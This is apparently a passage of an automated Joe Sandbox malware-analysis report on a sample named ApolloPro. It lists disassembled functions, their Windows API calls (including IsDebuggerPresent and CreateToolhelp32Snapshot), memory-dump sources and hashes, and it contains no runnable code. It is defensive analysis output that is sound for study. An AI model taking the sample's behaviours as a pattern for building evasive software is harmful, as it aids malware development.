                                                                    • _free.LIBCMT ref: 008192F9
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                    • String ID:
                                                                    • API String ID: 776569668-0
                                                                    • Opcode ID: 8f9c885abd8d04f58f23861dbdfd965b3870b9dc3bd9b8c44eca69e8d43aff98
                                                                    • Instruction ID: fdb77b415623973cf0869eb474a2d3f6224aaa7d7a80ca56499005c3647c31ee
                                                                    • Opcode Fuzzy Hash: 8f9c885abd8d04f58f23861dbdfd965b3870b9dc3bd9b8c44eca69e8d43aff98
                                                                    • Instruction Fuzzy Hash: EBE012E160560297CA24A67C6944ED3B7FC9F98751715091EF459E7243CE38E8838168
                                                                    Function 00817221 Relevance: 4.5, APIs: 3, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentProcess.KERNEL32(0000002C,00000000,?,00000002,00000000,?,00817016,00000000,?,0081710A,00000000,00000000,007F2F49), ref: 00817237
                                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,00817016,00000000,?,0081710A,00000000,00000000,007F2F49), ref: 0081723F
                                                                    • DuplicateHandle.KERNELBASE(00000000,?,00817016,00000000,?,0081710A,00000000,00000000,007F2F49), ref: 00817246
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentProcess$DuplicateHandle
                                                                    • String ID:
                                                                    • API String ID: 1294930198-0
                                                                    • Opcode ID: 5a9c4e617f4bb504b5e7a2d82d47bbafb5a49ba1af383b922c53f69904912aed
                                                                    • Instruction ID: 864ef4ed3d24d19b568e4605e8572ddd071a5832bc0552cb07d9ee23fad59d0b
                                                                    • Opcode Fuzzy Hash: 5a9c4e617f4bb504b5e7a2d82d47bbafb5a49ba1af383b922c53f69904912aed
                                                                    • Instruction Fuzzy Hash: C8D05E7A154305BFC7021BA5EC0DF7BBB7CFFD6B22F204019F70AC61909AB094419A64
                                                                    Function 00817079 Relevance: 4.5, APIs: 3, Instructions: 17COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 008177EB: InterlockedExchange.KERNEL32(?,?), ref: 008177FE
                                                                      • Part of subcall function 008177EB: EnterCriticalSection.KERNEL32(?,?,007BC2B6,?,?), ref: 0081780F
                                                                      • Part of subcall function 008177EB: TerminateThread.KERNEL32(00000000,000001F6,?,007BC2B6,?,?), ref: 0081781C
                                                                      • Part of subcall function 008177EB: WaitForSingleObject.KERNEL32(00000000,000003E8,?,007BC2B6,?,?), ref: 00817829
                                                                      • Part of subcall function 008177EB: InterlockedExchange.KERNEL32(?,000001F6), ref: 0081783C
                                                                      • Part of subcall function 008177EB: LeaveCriticalSection.KERNEL32(?,?,007BC2B6,?,?), ref: 00817843
                                                                    • CloseHandle.KERNELBASE(?,?,008170DF), ref: 0081708A
                                                                    • CloseHandle.KERNEL32(?,?,008170DF), ref: 00817093
                                                                    • DeleteCriticalSection.KERNEL32(?,?,008170DF), ref: 008170A6
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalSection$CloseExchangeHandleInterlocked$DeleteEnterLeaveObjectSingleTerminateThreadWait
                                                                    • String ID:
                                                                    • API String ID: 2929296749-0
                                                                    • Opcode ID: 0064a0dc4d133776b3b183777c4df5aec2afc2e781df89a99bcb120aaefd64ee
                                                                    • Instruction ID: 7c598598b6f649a4301bd8999bab4345849c10f94a685d573a3b22eb10a850fe
                                                                    • Opcode Fuzzy Hash: 0064a0dc4d133776b3b183777c4df5aec2afc2e781df89a99bcb120aaefd64ee
                                                                    • Instruction Fuzzy Hash: B6E0E236000602EBC7412FA4FC0988AFFB9FF497123640926FA0586A30CB70A4B8CF51
                                                                    Function 007B5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: CALL
                                                                    • API String ID: 0-4196123274
                                                                    • Opcode ID: 3a605ef0cf4c3b2fa8198ca873c80bf243656c32f0ddc266fc269e9751419116
                                                                    • Instruction ID: 73c8829c8c556e795e08a99a4d2c9a4d75cb4c44e654e2142506f1fb2b2cdcde
                                                                    • Opcode Fuzzy Hash: 3a605ef0cf4c3b2fa8198ca873c80bf243656c32f0ddc266fc269e9751419116
                                                                    • Instruction Fuzzy Hash: E1323774608345DFDB24DF14C494BAAB7E1BF48304F14896DE98A9B362D739EC85CB82
                                                                    Function 007C48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID: EA06
                                                                    • API String ID: 4104443479-3962188686
                                                                    • Opcode ID: 0248330e436b401741f7a55976de99caf46e5fc2d45b60cbb5bbb174166aace7
                                                                    • Instruction ID: 59240cba27fc4ef00554d034307f62c55d978668eaeecfcd54e3f2126dc69c7d
                                                                    • Opcode Fuzzy Hash: 0248330e436b401741f7a55976de99caf46e5fc2d45b60cbb5bbb174166aace7
                                                                    • Instruction Fuzzy Hash: 78418E22A04168ABDF219B548C75FFF7BA5EB45310F54807DE8C2E7286D5389D8087E1
                                                                    Function 0082E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _strcat.LIBCMT ref: 0082E20C
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • _wcscpy.LIBCMT ref: 0082E29B
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __itow__swprintf_strcat_wcscpy
                                                                    • String ID:
                                                                    • API String ID: 1012013722-0
                                                                    • Opcode ID: fc50d4cc4fe558e3fe2d9a7fd4d685ff093f465cc8134157c32a4f1725990681
                                                                    • Instruction ID: 40c80b0dcbc1772830ba0ce54d3afd141ea62b5d59161baaad4995b10d40eebc
                                                                    • Opcode Fuzzy Hash: fc50d4cc4fe558e3fe2d9a7fd4d685ff093f465cc8134157c32a4f1725990681
                                                                    • Instruction Fuzzy Hash: B0914735A00614DFCB18EF28D5899A9B7F5FF49314B55805AE80ACF3A2DB34ED41CB85
                                                                    Function 007D0E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CloseHandle.KERNELBASE ref: 007D0ED5
                                                                    • CreateToolhelp32Snapshot.KERNEL32 ref: 007D0EE7
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateHandleSnapshotToolhelp32
                                                                    • String ID:
                                                                    • API String ID: 3280610774-0
                                                                    • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                    • Instruction ID: c6b41e9141424357313c6d5c6c841f57b0c7b1dd31237ccdbe9ff469390abcfb
                                                                    • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                    • Instruction Fuzzy Hash: DF31B271A001099BD718EF59C484A69FBB6FF99300F649AA6E409CB351E735EDC1CBD0
                                                                    Function 007C5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsThemeActive.UXTHEME ref: 007C5FEF
                                                                      • Part of subcall function 007D359C: __lock.LIBCMT ref: 007D35A2
                                                                      • Part of subcall function 007D359C: DecodePointer.KERNEL32(00000001,?,007C6004,00808892), ref: 007D35AE
                                                                      • Part of subcall function 007D359C: EncodePointer.KERNEL32(?,?,007C6004,00808892), ref: 007D35B9
                                                                      • Part of subcall function 007C5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 007C5F18
                                                                      • Part of subcall function 007C5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 007C5F2D
                                                                      • Part of subcall function 007C5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 007C526C
                                                                      • Part of subcall function 007C5240: IsDebuggerPresent.KERNEL32 ref: 007C527E
                                                                      • Part of subcall function 007C5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 007C52E6
                                                                      • Part of subcall function 007C5240: SetCurrentDirectoryW.KERNEL32(?), ref: 007C5366
                                                                    • SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 007C602F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                                                    • String ID:
                                                                    • API String ID: 1438897964-0
                                                                    • Opcode ID: a5698143a3123bb6a509c8f9f6414b5feefe93f1b1f4754485d5e5c56fc46515
                                                                    • Instruction ID: 7193610b858bad4d527a3c4f54b49a461c8621f6c68b31f28ef51f14f0d75809
                                                                    • Opcode Fuzzy Hash: a5698143a3123bb6a509c8f9f6414b5feefe93f1b1f4754485d5e5c56fc46515
                                                                    • Instruction Fuzzy Hash: D9116A71918301DBC310DF68EC4DA4ABBE8FB88310F00491EF199972B2DBB4D584CB96
                                                                    Function 007D0FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D593C: __FF_MSGBANNER.LIBCMT ref: 007D5953
                                                                      • Part of subcall function 007D593C: __NMSG_WRITE.LIBCMT ref: 007D595A
                                                                      • Part of subcall function 007D593C: RtlAllocateHeap.NTDLL(01540000,00000000,00000001,?,?,?,?,007D1003,?,0000FFFF), ref: 007D597F
                                                                    • std::exception::exception.LIBCMT ref: 007D101C
                                                                    • __CxxThrowException@8.LIBCMT ref: 007D1031
                                                                      • Part of subcall function 007D87CB: RaiseException.KERNEL32(?,?,0000FFFF,0086CAF8,?,?,?,?,?,007D1036,0000FFFF,0086CAF8,?,00000001), ref: 007D8820
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 3902256705-0
                                                                    • Opcode ID: 86daa093c568cdd7fb298284864775925add06f4910f957608fbfc2afcced6f9
                                                                    • Instruction ID: 4abea4a976e4dae27fd3942167f3024ff5ed615d81543da0745a8fa41d594b9b
                                                                    • Opcode Fuzzy Hash: 86daa093c568cdd7fb298284864775925add06f4910f957608fbfc2afcced6f9
                                                                    • Instruction Fuzzy Hash: B9F0813550421DF6DB20BA98EC19A9E7BBCAF01320F600467F914A2391DFB99B94C2E1
                                                                    Function 007D581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __lock_file_memset
                                                                    • String ID:
                                                                    • API String ID: 26237723-0
                                                                    • Opcode ID: 4f94c72412f3c3ebacdb50b79f7a1b1f4f418d190c0dbd620defc3f341299ff5
                                                                    • Instruction ID: 5170918969dc5608e702d34304ba50294e49e47cc0c704b1b372ed06f3c2dfa1
                                                                    • Opcode Fuzzy Hash: 4f94c72412f3c3ebacdb50b79f7a1b1f4f418d190c0dbd620defc3f341299ff5
                                                                    • Instruction Fuzzy Hash: 97014471800749EBCF11AF6ACC0999E7B71AF80760F188217F8245A3A1D7398A11EF92
                                                                    Function 007D55C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D8D58: __getptd_noexit.LIBCMT ref: 007D8D58
                                                                    • __lock_file.LIBCMT ref: 007D560B
                                                                      • Part of subcall function 007D6E3E: __lock.LIBCMT ref: 007D6E61
                                                                    • __fclose_nolock.LIBCMT ref: 007D5616
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                                    • String ID:
                                                                    • API String ID: 2800547568-0
                                                                    • Opcode ID: bc3e52aa9379efe9f3f38b2413654f3a38ad46618600075bd5920d65aa74334c
                                                                    • Instruction ID: 66928df3c9ef3fa80214b7678fe62e60bf265ee4e8c02fa7e6adc659217970c0
                                                                    • Opcode Fuzzy Hash: bc3e52aa9379efe9f3f38b2413654f3a38ad46618600075bd5920d65aa74334c
                                                                    • Instruction Fuzzy Hash: 2DF02471801B04DBD7526F39980AB6E77B26F00330F21820BF465AB3C1CB7C89018F42
                                                                    Function 00816FDA Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InitializeCriticalSectionAndSpinCount.KERNEL32(00000014,00000FA0,00000001,00000000,?,0081710A,00000000,00000000,007F2F49), ref: 00816FFF
                                                                    • InterlockedExchange.KERNEL32(00000034,00000000), ref: 00817021
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CountCriticalExchangeInitializeInterlockedSectionSpin
                                                                    • String ID:
                                                                    • API String ID: 4104817828-0
                                                                    • Opcode ID: 0fb5f779732af4b420b1cc3ef38ca52f47172767dceaf9339d938439e3d19745
                                                                    • Instruction ID: f3ec192d57699ca716555a36c7df37240f977039d484e93c353db839a63edcb9
                                                                    • Opcode Fuzzy Hash: 0fb5f779732af4b420b1cc3ef38ca52f47172767dceaf9339d938439e3d19745
                                                                    • Instruction Fuzzy Hash: 42F03FB11007059FC3209F5AE9488A7FBECFF85710B00882EEA8A87A10CBB4A445CF61
                                                                    Function 007D5E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __lock_file.LIBCMT ref: 007D5EB4
                                                                    • __ftell_nolock.LIBCMT ref: 007D5EBF
                                                                      • Part of subcall function 007D8D58: __getptd_noexit.LIBCMT ref: 007D8D58
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __ftell_nolock__getptd_noexit__lock_file
                                                                    • String ID:
                                                                    • API String ID: 2999321469-0
                                                                    • Opcode ID: 6931a479e7ff99de727e43f14961f02946589d10b4c9b67cc13f641073083d6d
                                                                    • Instruction ID: d31fcc3e911ab9613aac18814d14dc9f5db879a41078d54da28bb9cd345c1122
                                                                    • Opcode Fuzzy Hash: 6931a479e7ff99de727e43f14961f02946589d10b4c9b67cc13f641073083d6d
                                                                    • Instruction Fuzzy Hash: 8EF0A071911615DBDB40BB78880A76E77B06F41332F254307B020AF3C2CF7C8A029A52
                                                                    Function 007C5AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 007C5AEF
                                                                    • Shell_NotifyIconW.SHELL32(00000002,?), ref: 007C5B1F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconNotifyShell__memset
                                                                    • String ID:
                                                                    • API String ID: 928536360-0
                                                                    • Opcode ID: a5458bf322c153a196fedbf032d8e6e425ba845d3ee74c586cfd8f2c5b785bcd
                                                                    • Instruction ID: 57624f0a3c574c82573c6a8c30e260f2f6fabe4d6bb372f231f8928076057076
                                                                    • Opcode Fuzzy Hash: a5458bf322c153a196fedbf032d8e6e425ba845d3ee74c586cfd8f2c5b785bcd
                                                                    • Instruction Fuzzy Hash: 7BF0A7708183089FE7928F24DC497967BBCA70130CF0001EEAA4D96297DB754BC8CF55
                                                                    Function 007D32CF Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ___crtCorExitProcess.LIBCMT ref: 007D32D5
                                                                      • Part of subcall function 007D329B: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,007D32DA,007D1003,?,007D9EEE,000000FF,0000001E,0086CE28,00000008,007D9E52,007D1003,007D1003), ref: 007D32AA
                                                                      • Part of subcall function 007D329B: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 007D32BC
                                                                    • ExitProcess.KERNEL32 ref: 007D32DE
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ExitProcess$AddressHandleModuleProc___crt
                                                                    • String ID:
                                                                    • API String ID: 2427264223-0
                                                                    • Opcode ID: cb0189e9a2d982486e6d42bc5b3beec3229e4da7ea74f20eb4bf6866f0dcca81
                                                                    • Instruction ID: bbcfcf9c00329a828bddd80d59529c690fce4076668f0aaf9f0fd673aefb2218
                                                                    • Opcode Fuzzy Hash: cb0189e9a2d982486e6d42bc5b3beec3229e4da7ea74f20eb4bf6866f0dcca81
                                                                    • Instruction Fuzzy Hash: F0B09230400208BBCB012F11DC0E8497F29FB01B90B004021F90408231DBB2AA92DA91
                                                                    Function 0082C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
